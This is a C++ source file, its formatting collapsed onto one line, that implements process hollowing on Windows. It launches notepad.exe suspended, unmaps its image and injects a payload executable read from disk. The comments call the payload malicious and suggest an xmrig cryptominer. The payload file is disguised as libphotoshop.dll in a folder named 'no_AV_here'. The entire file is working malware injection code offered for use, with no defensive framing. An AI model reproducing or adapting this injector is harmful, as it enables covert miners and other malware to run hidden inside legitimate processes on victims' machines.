#include #include #include #include #include typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); int main() { // Path to the legitimate process to hollow (e.g., a benign system exe) const char* targetPath = "C:\\Windows\\System32\\notepad.exe"; // Or explorer.exe // Path to your malicious PE executable (the payload to inject as the new image) const char* payloadPath = "C:\\Users\\MyWindowsUser\\Downloads\\no_AV_here\\libphotoshop.dll"; // Replace with your xmrig.exe or equivalent PE STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; // Step 1: Create suspended process BOOL created = CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); if (!created) { std::cerr << "CreateProcessA failed: " << GetLastError() << std::endl; return 1; } // Step 2: Get PEB and image base PROCESS_BASIC_INFORMATION pbi; ULONG returnLength; pNtQueryInformationProcess NtQuery = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess"); NTSTATUS status = NtQuery(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength); if (status != 0) { std::cerr << "NtQueryInformationProcess failed: " << status << std::endl; ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } PVOID imageBase; PVOID pebImageBasePtr = (PVOID)((BYTE*)pbi.PebBaseAddress + 0x10); // Offset for ImageBaseAddress in x64 PEB if (!ReadProcessMemory(pi.hProcess, pebImageBasePtr, &imageBase, sizeof(imageBase), NULL)) { std::cerr << "ReadProcessMemory (ImageBase) failed: " << GetLastError() << std::endl; ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } // Step 3: Unmap original image pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtUnmapViewOfSection"); status = NtUnmap(pi.hProcess, imageBase); if (status != 0) { std::cerr << "NtUnmapViewOfSection failed: " << status << std::endl; ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } // Step 4: Read payload PE from disk HANDLE hFile = CreateFileA(payloadPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { std::cerr << "CreateFile (payload) failed: " << GetLastError() << std::endl; ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } DWORD payloadSize = GetFileSize(hFile, NULL); std::vector payload(payloadSize); ReadFile(hFile, payload.data(), payloadSize, NULL, NULL); CloseHandle(hFile); // Parse payload headers PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payload.data(); PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(payload.data() + dosHeader->e_lfanew); PVOID payloadImageBase = (PVOID)ntHeader->OptionalHeader.ImageBase; SIZE_T payloadImageSize = ntHeader->OptionalHeader.SizeOfImage; // Step 5: Allocate memory in target process (prefer payload's base, but fallback if occupied) PVOID newImageBase = VirtualAllocEx(pi.hProcess, payloadImageBase, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!newImageBase) { newImageBase = VirtualAllocEx(pi.hProcess, NULL, payloadImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!newImageBase) { std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl; ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } } // Step 6: Write headers and sections WriteProcessMemory(pi.hProcess, newImageBase, payload.data(), ntHeader->OptionalHeader.SizeOfHeaders, NULL); PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeader); for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) { PVOID sectionDest = (PVOID)((SIZE_T)newImageBase + sectionHeader->VirtualAddress); PVOID sectionSrc = (PVOID)(payload.data() + sectionHeader->PointerToRawData); WriteProcessMemory(pi.hProcess, sectionDest, sectionSrc, sectionHeader->SizeOfRawData, NULL); sectionHeader++; } // Step 7: Handle relocations if base changed if (newImageBase != payloadImageBase) { PIMAGE_DATA_DIRECTORY relocDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (relocDir->VirtualAddress) { PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)((SIZE_T)newImageBase + relocDir->VirtualAddress); SIZE_T delta = (SIZE_T)newImageBase - (SIZE_T)payloadImageBase; while (reloc->VirtualAddress) { PWORD entry = (PWORD)((SIZE_T)reloc + sizeof(IMAGE_BASE_RELOCATION)); for (DWORD j = 0; j < (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); j++, entry++) { if ((*entry >> 12) == IMAGE_REL_BASED_DIR64) { PULONG64 ptr = (PULONG64)((SIZE_T)newImageBase + reloc->VirtualAddress + (*entry & 0xFFF)); ULONG64 oldValue = 0; ReadProcessMemory(pi.hProcess, ptr, &oldValue, sizeof(ULONG64), NULL); oldValue += delta; WriteProcessMemory(pi.hProcess, ptr, &oldValue, sizeof(ULONG64), NULL); } } reloc = (PIMAGE_BASE_RELOCATION)((SIZE_T)reloc + reloc->SizeOfBlock); } } } // Step 8: Update PEB image base WriteProcessMemory(pi.hProcess, pebImageBasePtr, &newImageBase, sizeof(newImageBase), NULL); // Step 9: Update thread context with new entry point CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); ctx.Rcx = (DWORD64)newImageBase + ntHeader->OptionalHeader.AddressOfEntryPoint; // Entry point in RCX for x64 SetThreadContext(pi.hThread, &ctx); // Step 10: Resume thread ResumeThread(pi.hThread); std::cout << "Process hollowed and payload injected into PID " << pi.dwProcessId << std::endl; CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; }